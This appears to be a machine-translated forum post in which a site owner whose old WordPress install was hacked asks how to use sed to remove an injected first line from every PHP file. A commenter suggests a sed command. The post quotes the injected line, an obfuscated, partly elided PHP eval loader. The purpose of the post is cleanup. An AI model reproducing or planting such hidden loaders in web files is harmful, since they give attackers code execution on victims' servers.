我在我的共享主機中被黑客入侵。所有的php文件在目錄中都有這種代碼。我敢打賭,我有老WordPress安裝,已經把一些惡意軟件int網頁目錄。當我沒有移除那些東西時,對我感到羞恥。現在我有2個有惡意軟件的活動網站,我沒有備份。所有惡意軟件文件都在第一行<?php ........ ?>
現在我需要刪除它。我試過Remove the first line with sed with a regular expression但它沒有幫助。它沒有刪除任何東西。sed從php第一行中刪除
<?php $xmrcycpmjf= 6767~6<Cw6<pd%x5c%x7825w6Z6<.57825mm)%x5c%x7825%x5c%x7878:-.........!%x5c%x7825tzw%x5x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c25h>#]y31]278]y35\141\x70\146\x66\153\x74\154\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\63\x34\55\x31\71\x37\51\x29\54\x20\143\x68\162\x28\50\x35\65\x35\55\x34\66\x33\51\x29\54\x20\171\x79\166\x6f\151\x6b\157\x68\157\x68\50\x24\143\x6d\142\x78\170\x61\153\x63\144\x6e\54\x24\170\x6d\162\x63\171\x63\160\x6d\152\x66\51\x29\51\x3b\40\x2f\52\x20\157\x73\144\x6f\167\x6d\150\x72\145\x7a\40\x2a\57\x20"; $vmdcgfyvud=substr($xmrcycpmjf,(39882-29769),(52-40)); $vmdcgfyvud($efppuciabz, $ucpqtjetra, NULL);...... $vmdcgfyvud=$ucpqtjetra; $vmdcgfyvud=(409-288); $xmrcycpmjf=$vmdcgfyvud-1; ?><?php echo "test"?>
,我希望它看起來像這樣
<?php echo "test"?>
是下一行的真實碼嗎? –
嘗試'sed'1s /^.*$/ <?php echo「test」?>/g'file' –